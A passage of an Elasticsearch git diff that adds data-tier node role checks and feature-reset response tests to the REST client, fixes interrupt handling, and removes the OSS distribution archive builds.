randomList( + 10, + () -> new org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse.SnapshottableFeature( + randomAlphaOfLengthBetween(4, 10), + randomAlphaOfLengthBetween(5, 10) + ) + ) + ); + } + + @Override + protected GetFeaturesResponse doParseToClientInstance(XContentParser parser) throws IOException { + return GetFeaturesResponse.parse(parser); + } + + @Override + protected void assertInstances( + org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse serverTestInstance, + GetFeaturesResponse clientInstance + ) { + assertNotNull(serverTestInstance.getSnapshottableFeatures()); + assertNotNull(serverTestInstance.getSnapshottableFeatures()); + + assertThat(clientInstance.getFeatures(), hasSize(serverTestInstance.getSnapshottableFeatures().size())); + + Map clientFeatures = clientInstance.getFeatures() + .stream() + .collect(Collectors.toMap(f -> f.getFeatureName(), f -> f.getDescription())); + Map serverFeatures = serverTestInstance.getSnapshottableFeatures() + .stream() + .collect(Collectors.toMap(f -> f.getFeatureName(), f -> f.getDescription())); + + assertThat(clientFeatures.entrySet(), everyItem(is(in(serverFeatures.entrySet())))); + } +} diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/snapshots/GetSnapshottableFeaturesResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/snapshots/GetSnapshottableFeaturesResponseTests.java deleted file mode 100644 index 0b899af725c7b..0000000000000 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/snapshots/GetSnapshottableFeaturesResponseTests.java +++ /dev/null @@ -1,67 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.client.snapshots; - -import org.elasticsearch.client.AbstractResponseTestCase; -import org.elasticsearch.common.xcontent.XContentParser; -import org.elasticsearch.common.xcontent.XContentType; - -import java.io.IOException; -import java.util.Map; -import java.util.stream.Collectors; - -import static org.hamcrest.Matchers.everyItem; -import static org.hamcrest.Matchers.hasSize; -import static org.hamcrest.Matchers.in; -import static org.hamcrest.Matchers.is; - -public class GetSnapshottableFeaturesResponseTests extends AbstractResponseTestCase< - org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse, - GetSnapshottableFeaturesResponse> { - - @Override - protected org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse createServerTestInstance( - XContentType xContentType - ) { - return new org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse( - randomList( - 10, - () -> new org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse.SnapshottableFeature( - randomAlphaOfLengthBetween(4, 10), - randomAlphaOfLengthBetween(5, 10) - ) - ) - ); - } - - @Override - protected GetSnapshottableFeaturesResponse doParseToClientInstance(XContentParser parser) throws IOException { - return GetSnapshottableFeaturesResponse.parse(parser); - } - - @Override - protected void assertInstances( - org.elasticsearch.action.admin.cluster.snapshots.features.GetSnapshottableFeaturesResponse serverTestInstance, - GetSnapshottableFeaturesResponse clientInstance - ) { - assertNotNull(serverTestInstance.getSnapshottableFeatures()); - assertNotNull(serverTestInstance.getSnapshottableFeatures()); - - assertThat(clientInstance.getFeatures(), hasSize(serverTestInstance.getSnapshottableFeatures().size())); - - Map clientFeatures = clientInstance.getFeatures() - .stream() - .collect(Collectors.toMap(f -> f.getFeatureName(), f -> f.getDescription())); - Map serverFeatures = serverTestInstance.getSnapshottableFeatures() - .stream() - .collect(Collectors.toMap(f -> f.getFeatureName(), f -> f.getDescription())); - - assertThat(clientFeatures.entrySet(), everyItem(is(in(serverFeatures.entrySet())))); - } -} diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/snapshots/ResetFeaturesResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/snapshots/ResetFeaturesResponseTests.java new file mode 100644 index 0000000000000..d21f2a469f33d --- /dev/null +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/snapshots/ResetFeaturesResponseTests.java @@ -0,0 +1,65 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client.snapshots; + +import org.elasticsearch.ElasticsearchException; +import org.elasticsearch.action.admin.cluster.snapshots.features.ResetFeatureStateResponse; +import org.elasticsearch.client.AbstractResponseTestCase; +import org.elasticsearch.client.feature.ResetFeaturesResponse; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.common.xcontent.XContentType; + +import java.io.IOException; +import java.util.Map; +import java.util.stream.Collectors; + +import static org.hamcrest.Matchers.everyItem; +import static org.hamcrest.Matchers.hasSize; +import static org.hamcrest.Matchers.in; +import static org.hamcrest.Matchers.is; + +public class ResetFeaturesResponseTests extends AbstractResponseTestCase { + + @Override + protected ResetFeatureStateResponse createServerTestInstance( + XContentType xContentType) { + return new org.elasticsearch.action.admin.cluster.snapshots.features.ResetFeatureStateResponse( + randomList( + 10, + () -> randomBoolean() + ? ResetFeatureStateResponse.ResetFeatureStateStatus.success(randomAlphaOfLengthBetween(6, 10)) + : ResetFeatureStateResponse.ResetFeatureStateStatus.failure( + randomAlphaOfLengthBetween(6, 10), new ElasticsearchException("something went wrong")) + ) + ); + } + + @Override + protected ResetFeaturesResponse doParseToClientInstance(XContentParser parser) throws IOException { + return ResetFeaturesResponse.parse(parser); + } + + @Override + protected void assertInstances(ResetFeatureStateResponse serverTestInstance, ResetFeaturesResponse clientInstance) { + + assertNotNull(serverTestInstance.getFeatureStateResetStatuses()); + assertNotNull(clientInstance.getFeatureResetStatuses()); + + assertThat(clientInstance.getFeatureResetStatuses(), hasSize(serverTestInstance.getFeatureStateResetStatuses().size())); + + Map clientFeatures = clientInstance.getFeatureResetStatuses() + .stream() + .collect(Collectors.toMap(f -> f.getFeatureName(), f -> f.getStatus())); + Map serverFeatures = serverTestInstance.getFeatureStateResetStatuses() + .stream() + .collect(Collectors.toMap(f -> f.getFeatureName(), f -> f.getStatus().toString())); + + assertThat(clientFeatures.entrySet(), everyItem(is(in(serverFeatures.entrySet())))); + } +} diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/tasks/CancelTasksResponseTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/tasks/CancelTasksResponseTests.java index 2bf558e8d71c0..5d2855f73509d 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/tasks/CancelTasksResponseTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/tasks/CancelTasksResponseTests.java @@ -57,6 +57,7 @@ protected CancelTasksResponseTests.ByNodeCancelTasksResponse createServerTestIns } for (int i = 0; i < 4; i++) { + boolean isCancellable = randomBoolean(); tasks.add(new org.elasticsearch.tasks.TaskInfo( new TaskId(NODE_ID, (long) i), randomAlphaOfLength(4), @@ -65,7 +66,8 @@ protected CancelTasksResponseTests.ByNodeCancelTasksResponse createServerTestIns new FakeTaskStatus(randomAlphaOfLength(4), randomInt()), randomLongBetween(1, 3), randomIntBetween(5, 10), - false, + isCancellable, + isCancellable && randomBoolean(), new TaskId("node1", randomLong()), Map.of("x-header-of", "some-value"))); } @@ -99,6 +101,7 @@ protected void assertInstances(ByNodeCancelTasksResponse serverTestInstance, assertEquals(ti.getStartTime(), taskInfo.getStartTime()); assertEquals(ti.getRunningTimeNanos(), taskInfo.getRunningTimeNanos()); assertEquals(ti.isCancellable(), taskInfo.isCancellable()); + assertEquals(ti.isCancelled(), taskInfo.isCancelled()); assertEquals(ti.getParentTaskId().getNodeId(), taskInfo.getParentTaskId().getNodeId()); assertEquals(ti.getParentTaskId().getId(), taskInfo.getParentTaskId().getId()); FakeTaskStatus status = (FakeTaskStatus) ti.getStatus(); diff --git a/client/rest-high-level/transport.p12 b/client/rest-high-level/transport.p12 new file mode 100644 index 0000000000000..f202f954ef6fc Binary files /dev/null and b/client/rest-high-level/transport.p12 differ diff --git a/client/rest/src/main/java/org/elasticsearch/client/Node.java b/client/rest/src/main/java/org/elasticsearch/client/Node.java index 8674fc22dedee..437b6760fabe2 100644 --- a/client/rest/src/main/java/org/elasticsearch/client/Node.java +++ b/client/rest/src/main/java/org/elasticsearch/client/Node.java @@ -184,19 +184,70 @@ public Roles(final Set roles) { } /** - * Teturns whether or not the node could be elected master. + * Returns whether or not the node could be elected master. */ public boolean isMasterEligible() { return roles.contains("master"); } /** - * Teturns whether or not the node stores data. + * Returns whether or not the node stores data. + * @deprecated use {@link #hasDataRole()} or {@link #canContainData()} */ + @Deprecated public boolean isData() { return roles.contains("data"); } + + /** + * @return true if node has the "data" role + */ + public boolean hasDataRole() { + return roles.contains("data"); + } + + /** + * @return true if node has the "data_content" role + */ + public boolean hasDataContentRole() { + return roles.contains("data_content"); + } + + /** + * @return true if node has the "data_hot" role + */ + public boolean hasDataHotRole() { + return roles.contains("data_hot"); + } + + /** + * @return true if node has the "data_warm" role + */ + public boolean hasDataWarmRole() { + return roles.contains("data_warm"); + } + + /** + * @return true if node has the "data_cold" role + */ + public boolean hasDataColdRole() { + return roles.contains("data_cold"); + } + + /** + * @return true if node has the "data_frozen" role + */ + public boolean hasDataFrozenRole() { + return roles.contains("data_frozen"); + } + + /** + * @return true if node stores any type of data + */ + public boolean canContainData() { + return hasDataRole() || roles.stream().anyMatch(role -> role.startsWith("data_")); + } /** - * Teturns whether or not the node runs ingest pipelines. + * Returns whether or not the node runs ingest pipelines. */ public boolean isIngest() { return roles.contains("ingest"); diff --git a/client/rest/src/main/java/org/elasticsearch/client/NodeSelector.java b/client/rest/src/main/java/org/elasticsearch/client/NodeSelector.java index 5ee5d21efa84f..dbdb3aa006867 100644 --- a/client/rest/src/main/java/org/elasticsearch/client/NodeSelector.java +++ b/client/rest/src/main/java/org/elasticsearch/client/NodeSelector.java @@ -75,7 +75,7 @@ public void select(Iterable nodes) { Node node = itr.next(); if (node.getRoles() == null) continue; if (node.getRoles().isMasterEligible() - && false == node.getRoles().isData() + && false == node.getRoles().canContainData() && false == node.getRoles().isIngest()) { itr.remove(); } diff --git a/client/rest/src/main/java/org/elasticsearch/client/RestClient.java b/client/rest/src/main/java/org/elasticsearch/client/RestClient.java index 629e3cd4d9972..4cdc62e06e58e 100644 --- a/client/rest/src/main/java/org/elasticsearch/client/RestClient.java +++ b/client/rest/src/main/java/org/elasticsearch/client/RestClient.java @@ -850,6 +850,7 @@ private static class ResponseOrResponseException { */ private static Exception extractAndWrapCause(Exception exception) { if (exception instanceof InterruptedException) { + Thread.currentThread().interrupt(); throw new RuntimeException("thread waiting for the response was interrupted", exception); } if (exception instanceof ExecutionException) { diff --git a/client/rest/src/test/java/org/elasticsearch/client/NodeSelectorTests.java b/client/rest/src/test/java/org/elasticsearch/client/NodeSelectorTests.java index a496670cbdc05..68e3e91facafb 100644 --- a/client/rest/src/test/java/org/elasticsearch/client/NodeSelectorTests.java +++ b/client/rest/src/test/java/org/elasticsearch/client/NodeSelectorTests.java @@ -50,6 +50,11 @@ public void testNotMasterOnly() { Node coordinatingOnly = dummyNode(false, false, false); Node ingestOnly = dummyNode(false, false, true); Node data = dummyNode(false, true, randomBoolean()); + Node dataContent = dummyNode(false, false, false, true, false, false, false, false); + Node dataHot = dummyNode(false, false, false, false, true, false, false, false); + Node dataWarm = dummyNode(false, false, false, false, false, true, false, false); + Node dataCold = dummyNode(false, false, false, false, false, false, true, false); + Node dataFrozen = dummyNode(false, false, false, false, false, false, false, true); List nodes = new ArrayList<>(); nodes.add(masterOnly); nodes.add(all); @@ -58,6 +63,11 @@ public void testNotMasterOnly() { nodes.add(coordinatingOnly); nodes.add(ingestOnly); nodes.add(data); + nodes.add(dataContent); + nodes.add(dataHot); + nodes.add(dataWarm); + nodes.add(dataCold); + nodes.add(dataFrozen); Collections.shuffle(nodes, getRandom()); List expected = new ArrayList<>(nodes); expected.remove(masterOnly); @@ -65,7 +75,11 @@ public void testNotMasterOnly() { assertEquals(expected, nodes); } - private static Node dummyNode(boolean master, boolean data, boolean ingest) { + private static Node dummyNode(boolean master, boolean data, boolean ingest){ + return dummyNode(master, data, ingest, false, false, false, false, false); + } + private static Node dummyNode(boolean master, boolean data, boolean ingest, + boolean dataContent, boolean dataHot, boolean dataWarm, boolean dataCold, boolean dataFrozen) { final Set roles = new TreeSet<>(); if (master) { roles.add("master"); @@ -73,6 +87,21 @@ private static Node dummyNode(boolean master, boolean data, boolean ingest) { if (data) { roles.add("data"); } + if (dataContent) { + roles.add("data_content"); + } + if (dataHot) { + roles.add("data_hot"); + } + if (dataWarm) { + roles.add("data_warm"); + } + if (dataCold) { + roles.add("data_cold"); + } + if (dataFrozen) { + roles.add("data_frozen"); + } if (ingest) { roles.add("ingest"); } @@ -81,4 +110,5 @@ private static Node dummyNode(boolean master, boolean data, boolean ingest) { new Roles(roles), Collections.>emptyMap()); } + } diff --git a/client/rest/src/test/java/org/elasticsearch/client/NodeTests.java b/client/rest/src/test/java/org/elasticsearch/client/NodeTests.java index 645964a8c89a2..03d850b01f438 100644 --- a/client/rest/src/test/java/org/elasticsearch/client/NodeTests.java +++ b/client/rest/src/test/java/org/elasticsearch/client/NodeTests.java @@ -88,4 +88,27 @@ public void testEqualsAndHashCode() { assertFalse(node.equals(new Node(host, node.getBoundHosts(), node.getName(), node.getVersion(), node.getRoles(), singletonMap("bort", singletonList("bing"))))); } + + public void testDataRole(){ + Roles roles = new Roles(new TreeSet<>(Arrays.asList("data_hot"))); + assertTrue(roles.hasDataHotRole()); + assertTrue(roles.canContainData()); + roles = new Roles(new TreeSet<>(Arrays.asList("data_warm"))); + assertTrue(roles.hasDataWarmRole()); + assertTrue(roles.canContainData()); + roles = new Roles(new TreeSet<>(Arrays.asList("data_cold"))); + assertTrue(roles.hasDataColdRole()); + assertTrue(roles.canContainData()); + roles = new Roles(new TreeSet<>(Arrays.asList("data_frozen"))); + assertTrue(roles.hasDataFrozenRole()); + assertTrue(roles.canContainData()); + roles = new Roles(new TreeSet<>(Arrays.asList("data_content"))); + assertTrue(roles.hasDataContentRole()); + assertTrue(roles.canContainData()); + roles = new Roles(new TreeSet<>(Arrays.asList("data"))); + assertTrue(roles.hasDataRole()); + assertTrue(roles.canContainData()); + roles = new Roles(new TreeSet<>(Arrays.asList("data_foo"))); + assertTrue(roles.canContainData()); + } } diff --git a/client/rest/src/test/java/org/elasticsearch/client/RestClientMultipleHostsIntegTests.java b/client/rest/src/test/java/org/elasticsearch/client/RestClientMultipleHostsIntegTests.java index c9645bf909efc..64a9f9377302d 100644 --- a/client/rest/src/test/java/org/elasticsearch/client/RestClientMultipleHostsIntegTests.java +++ b/client/rest/src/test/java/org/elasticsearch/client/RestClientMultipleHostsIntegTests.java @@ -27,7 +27,6 @@ import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; -import org.junit.Ignore; import java.io.IOException; import java.net.ConnectException; @@ -104,14 +103,18 @@ private static HttpServer createHttpServer() throws Exception { return httpServer; } - private static class WaitForCancelHandler implements HttpHandler { - private volatile CountDownLatch requestCameInLatch; - private volatile CountDownLatch cancelHandlerLatch; - - void reset() { - cancelHandlerLatch = new CountDownLatch(1); - requestCameInLatch = new CountDownLatch(1); + private static WaitForCancelHandler resetWaitHandlers() { + WaitForCancelHandler handler = new WaitForCancelHandler(); + for (HttpServer httpServer : httpServers) { + httpServer.removeContext(pathPrefix + "/wait"); + httpServer.createContext(pathPrefix + "/wait", handler); } + return handler; + } + + private static class WaitForCancelHandler implements HttpHandler { + private final CountDownLatch requestCameInLatch = new CountDownLatch(1); + private final CountDownLatch cancelHandlerLatch = new CountDownLatch(1); void cancelDone() { cancelHandlerLatch.countDown(); @@ -232,14 +235,13 @@ public void onFailure(Exception exception) { } } - @Ignore("https://github.com/elastic/elasticsearch/issues/45577") public void testCancelAsyncRequests() throws Exception { int numRequests = randomIntBetween(5, 20); final List responses = new CopyOnWriteArrayList<>(); final List exceptions = new CopyOnWriteArrayList<>(); for (int i = 0; i < numRequests; i++) { CountDownLatch latch = new CountDownLatch(1); - waitForCancelHandler.reset(); + waitForCancelHandler = resetWaitHandlers(); Cancellable cancellable = restClient.performRequestAsync(new Request("GET", "/wait"), new ResponseListener() { @Override public void onSuccess(Response response) { diff --git a/client/rest/src/test/java/org/elasticsearch/client/RestClientSingleHostIntegTests.java b/client/rest/src/test/java/org/elasticsearch/client/RestClientSingleHostIntegTests.java index 3abd9939d837a..5b5cb89c530ed 100644 --- a/client/rest/src/test/java/org/elasticsearch/client/RestClientSingleHostIntegTests.java +++ b/client/rest/src/test/java/org/elasticsearch/client/RestClientSingleHostIntegTests.java @@ -295,11 +295,10 @@ public void testRequestResetAndAbort() throws Exception { httpGet.abort(); assertTrue(httpGet.isAborted()); try { - assertTrue(future.isCancelled()); + assertTrue(future.isDone()); future.get(); - throw new AssertionError("exception should have been thrown"); } catch(CancellationException e) { - //expected + //expected sometimes - if the future was cancelled before executing successfully } } { diff --git a/client/sniffer/licenses/jackson-core-2.10.4.jar.sha1 b/client/sniffer/licenses/jackson-core-2.10.4.jar.sha1 deleted file mode 100644 index f83a4ac442b33..0000000000000 --- a/client/sniffer/licenses/jackson-core-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -8796585e716440d6dd5128b30359932a9eb74d0d \ No newline at end of file diff --git a/client/sniffer/licenses/jackson-core-2.12.2.jar.sha1 b/client/sniffer/licenses/jackson-core-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..953c420544bd5 --- /dev/null +++ b/client/sniffer/licenses/jackson-core-2.12.2.jar.sha1 @@ -0,0 +1 @@ +8df50138521d05561a308ec2799cc8dda20c06df \ No newline at end of file diff --git a/client/sniffer/src/test/java/org/elasticsearch/client/sniff/ElasticsearchNodesSnifferTests.java b/client/sniffer/src/test/java/org/elasticsearch/client/sniff/ElasticsearchNodesSnifferTests.java index 7311f9c6179d4..ded1f5316f369 100644 --- a/client/sniffer/src/test/java/org/elasticsearch/client/sniff/ElasticsearchNodesSnifferTests.java +++ b/client/sniffer/src/test/java/org/elasticsearch/client/sniff/ElasticsearchNodesSnifferTests.java @@ -219,6 +219,21 @@ private static SniffResponse buildSniffResponse(ElasticsearchNodesSniffer.Scheme if (randomBoolean()) { nodeRoles.add("data"); } + if (randomBoolean()) { + nodeRoles.add("data_content"); + } + if (randomBoolean()) { + nodeRoles.add("data_hot"); + } + if (randomBoolean()) { + nodeRoles.add("data_warm"); + } + if (randomBoolean()) { + nodeRoles.add("data_cold"); + } + if (randomBoolean()) { + nodeRoles.add("data_frozen"); + } if (randomBoolean()) { nodeRoles.add("ingest"); } @@ -259,16 +274,32 @@ private static SniffResponse buildSniffResponse(ElasticsearchNodesSniffer.Scheme generator.writeEndObject(); } - List roles = Arrays.asList(new String[] {"master", "data", "ingest"}); + List roles = Arrays.asList(new String[]{"master", "data", "ingest", + "data_content", "data_hot", "data_warm", "data_cold", "data_frozen"}); Collections.shuffle(roles, getRandom()); generator.writeArrayFieldStart("roles"); for (String role : roles) { if ("master".equals(role) && node.getRoles().isMasterEligible()) { generator.writeString("master"); } - if ("data".equals(role) && node.getRoles().isData()) { + if ("data".equals(role) && node.getRoles().hasDataRole()) { generator.writeString("data"); } + if ("data_content".equals(role) && node.getRoles().hasDataContentRole()) { + generator.writeString("data_content"); + } + if ("data_hot".equals(role) && node.getRoles().hasDataHotRole()) { + generator.writeString("data_hot"); + } + if ("data_warm".equals(role) && node.getRoles().hasDataWarmRole()) { + generator.writeString("data_warm"); + } + if ("data_cold".equals(role) && node.getRoles().hasDataColdRole()) { + generator.writeString("data_cold"); + } + if ("data_frozen".equals(role) && node.getRoles().hasDataFrozenRole()) { + generator.writeString("data_frozen"); + } if ("ingest".equals(role) && node.getRoles().isIngest()) { generator.writeString("ingest"); } diff --git a/distribution/archives/build.gradle b/distribution/archives/build.gradle index 772def3645b83..0c56b8e02a021 100644 --- a/distribution/archives/build.gradle +++ b/distribution/archives/build.gradle @@ -72,126 +72,63 @@ distribution_archives { windowsZip { archiveClassifier = 'windows-x86_64' content { - archiveFiles(modulesFiles(false, 'windows-x86_64'), 'zip', 'windows', 'x64', false, true) - } - } - - ossWindowsZip { - archiveClassifier = 'windows-x86_64' - content { - archiveFiles(modulesFiles(true, 'windows-x86_64'), 'zip', 'windows', 'x64', true, true) + archiveFiles(modulesFiles('windows-x86_64'), 'zip', 'windows', 'x64', false, true) } } noJdkWindowsZip { archiveClassifier = 'no-jdk-windows-x86_64' content { - archiveFiles(modulesFiles(false, 'windows-x86_64'), 'zip', 'windows', 'x64', false, false) - } - } - - ossNoJdkWindowsZip { - archiveClassifier = 'no-jdk-windows-x86_64' - content { - archiveFiles(modulesFiles(true, 'windows-x86_64'), 'zip', 'windows', 'x64', true, false) + archiveFiles(modulesFiles('windows-x86_64'), 'zip', 'windows', 'x64', false, false) } } darwinTar { archiveClassifier = 'darwin-x86_64' content { - archiveFiles(modulesFiles(false, 'darwin-x86_64'), 'tar', 'darwin', 'x64', false, true) + archiveFiles(modulesFiles('darwin-x86_64'), 'tar', 'darwin', 'x64', false, true) } } darwinAarch64Tar { archiveClassifier = 'darwin-aarch64' content { - archiveFiles(modulesFiles(false, 'darwin-aarch64'), 'tar', 'darwin', 'aarch64', false, true) - } - } - - ossDarwinTar { - archiveClassifier = 'darwin-x86_64' - content { - archiveFiles(modulesFiles(true, 'darwin-x86_64'), 'tar', 'darwin', 'x64', true, true) - } - } - - ossDarwinAarch64Tar { - archiveClassifier = 'darwin-aarch64' - content { - archiveFiles(modulesFiles(true, 'darwin-aarch64'), 'tar', 'darwin', 'aarch64', true, true) + archiveFiles(modulesFiles('darwin-aarch64'), 'tar', 'darwin', 'aarch64', false, true) } } noJdkDarwinTar { archiveClassifier = 'no-jdk-darwin-x86_64' content { - archiveFiles(modulesFiles(false, 'darwin-x86_64'), 'tar', 'darwin', 'x64', false, false) - } - } - - ossNoJdkDarwinTar { - archiveClassifier = 'no-jdk-darwin-x86_64' - content { - archiveFiles(modulesFiles(true, 'darwin-x86_64'), 'tar', 'darwin', 'x64', true, false) + archiveFiles(modulesFiles('darwin-x86_64'), 'tar', 'darwin', 'x64', false, false) } } noJdkDarwinAarch64Tar { archiveClassifier = 'no-jdk-darwin-aarch64' content { - archiveFiles(modulesFiles(false, 'darwin-aarch64'), 'tar', 'darwin', 'aarch64', false, false) - } - } - - ossNoJdkDarwinAarch64Tar { - archiveClassifier = 'no-jdk-darwin-aarch64' - content { - archiveFiles(modulesFiles(true, 'darwin-aarch64'), 'tar', 'darwin', 'aarch64', true, false) + archiveFiles(modulesFiles('darwin-aarch64'), 'tar', 'darwin', 'aarch64', false, false) } } linuxAarch64Tar { archiveClassifier = 'linux-aarch64' content { - archiveFiles(modulesFiles(false, 'linux-aarch64'), 'tar', 'linux', 'aarch64', false, true) + archiveFiles(modulesFiles('linux-aarch64'), 'tar', 'linux', 'aarch64', false, true) } } linuxTar { archiveClassifier = 'linux-x86_64' content { - archiveFiles(modulesFiles(false, 'linux-x86_64'), 'tar', 'linux', 'x64', false, true) - } - } - - ossLinuxAarch64Tar { - archiveClassifier = 'linux-aarch64' - content { - archiveFiles(modulesFiles(true, 'linux-aarch64'), 'tar', 'linux', 'aarch64', true, true) - } - } - - ossLinuxTar { - archiveClassifier = 'linux-x86_64' - content { - archiveFiles(modulesFiles(true, 'linux-x86_64'), 'tar', 'linux', 'x64', true, true) + archiveFiles(modulesFiles('linux-x86_64'), 'tar', 'linux', 'x64', false, true) } } noJdkLinuxTar { archiveClassifier = 'no-jdk-linux-x86_64' content { - archiveFiles(modulesFiles(false, 'linux-x86_64'), 'tar', 'linux', 'x64', false, false) - } - } - - ossNoJdkLinuxTar { - archiveClassifier = 'no-jdk-linux-x86_64' - content { - archiveFiles(modulesFiles(true, 'linux-x86_64'), 'tar', 'linux', 'x64', true, false) + archiveFiles(modulesFiles('linux-x86_64'), 'tar', 'linux', 'x64', false, false) } } } @@ -200,5 +137,5 @@ subprojects { apply plugin: 'distribution' apply plugin: 'elasticsearch.internal-distribution-archive-check' - group = "org.elasticsearch.distribution.${name.startsWith("oss-") ? "oss" : "default"}" + group = "org.elasticsearch.distribution.default" } diff --git a/distribution/archives/integ-test-zip/build.gradle b/distribution/archives/integ-test-zip/build.gradle index 29ea835bb47f5..0eae955e19588 100644 --- a/distribution/archives/integ-test-zip/build.gradle +++ b/distribution/archives/integ-test-zip/build.gradle @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -import org.elasticsearch.gradle.MavenFilteringHack +import org.elasticsearch.gradle.internal.MavenFilteringHack apply plugin: 'elasticsearch.standalone-rest-test' apply plugin: 'elasticsearch.rest-test' diff --git a/distribution/archives/oss-darwin-aarch64-tar/build.gradle b/distribution/archives/oss-darwin-aarch64-tar/build.gradle deleted file mode 100644 index 4f7400c7eaa0e..0000000000000 --- a/distribution/archives/oss-darwin-aarch64-tar/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. \ No newline at end of file diff --git a/distribution/archives/oss-darwin-tar/build.gradle b/distribution/archives/oss-darwin-tar/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/archives/oss-darwin-tar/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/archives/oss-linux-aarch64-tar/build.gradle b/distribution/archives/oss-linux-aarch64-tar/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/archives/oss-linux-aarch64-tar/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/archives/oss-linux-tar/build.gradle b/distribution/archives/oss-linux-tar/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/archives/oss-linux-tar/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/archives/oss-no-jdk-darwin-aarch64-tar/build.gradle b/distribution/archives/oss-no-jdk-darwin-aarch64-tar/build.gradle deleted file mode 100644 index 4f7400c7eaa0e..0000000000000 --- a/distribution/archives/oss-no-jdk-darwin-aarch64-tar/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. \ No newline at end of file diff --git a/distribution/archives/oss-no-jdk-darwin-tar/build.gradle b/distribution/archives/oss-no-jdk-darwin-tar/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/archives/oss-no-jdk-darwin-tar/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/archives/oss-no-jdk-linux-tar/build.gradle b/distribution/archives/oss-no-jdk-linux-tar/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/archives/oss-no-jdk-linux-tar/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/archives/oss-no-jdk-windows-zip/build.gradle b/distribution/archives/oss-no-jdk-windows-zip/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/archives/oss-no-jdk-windows-zip/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/archives/oss-windows-zip/build.gradle b/distribution/archives/oss-windows-zip/build.gradle deleted file mode 100644 index 4a6dde5fc0c92..0000000000000 --- a/distribution/archives/oss-windows-zip/build.gradle +++ /dev/null @@ -1,2 +0,0 @@ -// This file is intentionally blank. All configuration of the -// distribution is done in the parent project. diff --git a/distribution/build.gradle b/distribution/build.gradle index 735adc4fed035..4a1c07444ee1e 100644 --- a/distribution/build.gradle +++ b/distribution/build.gradle @@ -8,12 +8,12 @@ import org.apache.tools.ant.filters.FixCrLfFilter -import org.elasticsearch.gradle.ConcatFilesTask -import org.elasticsearch.gradle.DependenciesInfoTask -import org.elasticsearch.gradle.MavenFilteringHack -import org.elasticsearch.gradle.NoticeTask +import org.elasticsearch.gradle.internal.ConcatFilesTask +import org.elasticsearch.gradle.internal.DependenciesInfoTask +import org.elasticsearch.gradle.internal.MavenFilteringHack +import org.elasticsearch.gradle.internal.NoticeTask import org.elasticsearch.gradle.VersionProperties -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams import java.nio.file.Files import java.nio.file.Path @@ -21,6 +21,11 @@ import java.nio.file.Path plugins { id 'base' } + +configurations { + log4jConfig +} + /***************************************************************************** * Third party dependencies report * *****************************************************************************/ @@ -61,10 +66,6 @@ def buildDefaultNoticeTaskProvider = tasks.register("buildDefaultNotice", Notice licensesDir new File(project(':distribution').projectDir, 'licenses') } -def buildOssNoticeTaskProvider = tasks.register("buildOssNotice", NoticeTask) { - licensesDir new File(project(':distribution').projectDir, 'licenses') -} - def buildDefaultNoJdkNoticeTaskProvider = tasks.register("buildDefaultNoJdkNotice", NoticeTask) def buildOssNoJdkNoticeTaskProvider = tasks.register("buildOssNoJdkNotice", NoticeTask) @@ -88,13 +89,8 @@ String systemdOutputs = 'build/outputs/systemd' String transportOutputs = 'build/outputs/transport-only' String externalTestOutputs = 'build/outputs/external-test' -def processOssOutputsTaskProvider = 